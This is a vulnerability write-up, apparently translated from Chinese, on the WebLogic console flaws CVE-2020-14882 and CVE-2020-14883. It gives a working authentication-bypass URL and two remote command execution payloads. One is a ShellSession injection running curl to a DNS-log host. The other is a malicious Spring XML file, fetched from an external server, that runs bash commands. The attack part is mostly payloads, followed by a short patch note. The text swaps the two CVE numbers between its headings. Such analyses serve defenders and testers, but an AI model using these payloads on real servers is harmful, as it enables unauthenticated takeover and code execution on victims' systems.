WebLogic (CVE-2020-14882, CVE-2020-14883) Management Console Unauthenticated Remote Command Execution Vulnerability

0x01 Vulnerability Overview

On October 29, 2020, 360CERT detected Weblogic ConSole HTTP 协议代码执行漏洞,This vulnerability is tracked as CVE-2020-14882,CVE-2020-14883, with a severity rating of 严重 and a vulnerability score of 9.8.

A remote attacker can craft a special HTTP request to take control of WebLogic Server Console without authentication and execute arbitrary code on WebLogic Server Console.

0x02 Affected Versions

Oracle:Weblogic:

• 10.3.6.0.0
• 12.1.3.0.0
• 12.2.1.3.0
• 12.2.1.4.0
• 14.1.1.0.0

0x03 Vulnerability Details

CVE-2020-14883: Authentication Bypass Vulnerability

A remote attacker can craft a special HTTP request to take control of WebLogic Server Console without authentication.

For the authentication bypass vulnerability (CVE-2020-14882), accessing the following URL provides unauthorized access to the management console as a low-privileged user:``` http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

![image-20201102104413803](/images/94ac3fe0f55bed25ee3badfc8ebddaf3.png)

We can see that we are currently a low-privileged user and cannot install applications. Therefore, this can be combined with CVE-2020-14882 below for further exploitation.

### CVE-2020-14882: Code Execution Vulnerability

When combined with the `CVE-2020-14883` vulnerability, a remote attacker can craft a special `HTTP` request to take control of `WebLogic Server Console` without authentication and execute arbitrary code on `WebLogic Server Console`.

### Remote Command Execution Method 1

Use `com.tangosol.coherence.mvel2.sh.ShellSession` to execute commands using DNSLog:

http://127.0.0.1:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xzi7ua.dnslog.cn’);“)

Successfully executed:

![image-20201102105333842](/images/ea80ba6172bb9694b20aaa12dabe4eb9.png)

![image-20201102113350559](/images/997e531a5e69f55b41b7f5b32da7c203.png)

### Remote Command Execution Method 2 (Highly Universal)

This is a more universal method that works with all WebLogic versions.

However, the target must have outbound network access and be able to access the malicious XML file.

First, create an XML file and host it externally, either on the vulnerable server or another accessible machine, such as `http://zeo.com/zeo.xml`:

```xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl fypg4w.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

Then use the following URL to make WebLogic load the XML file and execute the command it contains:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

Successfully executed:

The corresponding packet was received:

0x05 Remediation Recommendations

Apply the latest patches promptly.

Refer to the patches published on Oracle’s official website:

https://www.oracle.com/security-alerts/cpuoct2020traditional.html